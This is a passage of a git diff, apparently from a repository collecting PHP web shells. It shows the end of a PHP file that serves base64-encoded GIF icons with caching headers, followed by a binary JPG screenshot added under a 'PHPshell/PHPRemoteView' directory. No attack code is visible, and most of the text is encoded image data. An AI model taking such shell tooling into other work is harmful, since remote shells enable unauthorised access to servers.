+'LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==', +'papki'=> +'R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo'. +'eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD'. +'Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==', +'home'=> +'R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA'. +'AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS'. +'krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j'. +'VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=', +'back'=> +'R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8'. +'aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt'. +'Wg0JADs=' + +); + + + header("Content-type: image/gif"); + header("Cache-control: public"); + // /* + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + // */ + echo base64_decode($img[$name]); + + break; + +} + + +?> \ No newline at end of file diff --git a/php/PHPshell/PHPRemoteView/PHPRemoteView2.jpg b/php/PHPshell/PHPRemoteView/PHPRemoteView2.jpg new file mode 100644 index 0000000000000000000000000000000000000000..445e54fa6cbb1c88d75ba88f95b028d517451a7d GIT binary patch literal 75835 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 